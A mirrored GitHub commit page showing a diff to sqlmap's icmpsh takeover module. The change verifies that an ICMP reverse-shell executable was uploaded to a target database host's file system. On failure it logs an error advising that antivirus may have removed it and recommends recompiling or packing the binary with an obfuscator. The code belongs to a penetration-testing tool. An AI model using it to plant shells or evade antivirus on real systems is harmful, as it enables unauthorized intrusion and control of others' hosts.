Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 4d5ecc3

Browse files
committed
working on #396 - verify icmpsh executable has been properly uploaded
1 parent 66cee83 commit 4d5ecc3

1 file changed

Lines changed: 19 additions & 8 deletions

File tree

lib/takeover/icmpsh.py

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from lib.core.data import conf
1919
from lib.core.data import logger
2020
from lib.core.data import paths
21-
21+
from lib.core.exception import SqlmapFilePathException
2222

2323
class ICMPsh:
2424
"""
@@ -67,19 +67,30 @@ def uploadIcmpshSlave(self, web=False):
6767
self._randStr = randomStr(lowercase=True)
6868
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
6969

70-
if web:
71-
self._icmpslaveRemote = "%s/%s" % (self.webDirectory, self._icmpslaveRemoteBase)
72-
else:
73-
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
74-
70+
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
7571
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
7672

7773
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
7874

7975
if web:
80-
self.webUpload(self._icmpslaveRemote, self.webDirectory, filepath=self._icmpslave)
76+
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
77+
else:
78+
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
79+
80+
if written is not True:
81+
errMsg = "there has been a problem uploading icmpsh, it "
82+
errMsg += "looks like the binary file has not been written "
83+
errMsg += "on the database underlying file system or an AV has "
84+
errMsg += "flagged it as malicious and removed it. In such a case "
85+
errMsg += "it is recommended to recompile icmpsh with slight "
86+
errMsg += "modification to the source code or pack it with an "
87+
errMsg += "obfuscator software"
88+
logger.error(errMsg)
89+
90+
return False
8191
else:
82-
self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary")
92+
logger.info("icmpsh successfully uploaded")
93+
return True
8394

8495
def icmpPwn(self):
8596
ICMPsh._prepareIngredients(self)

0 commit comments

Comments
 (0)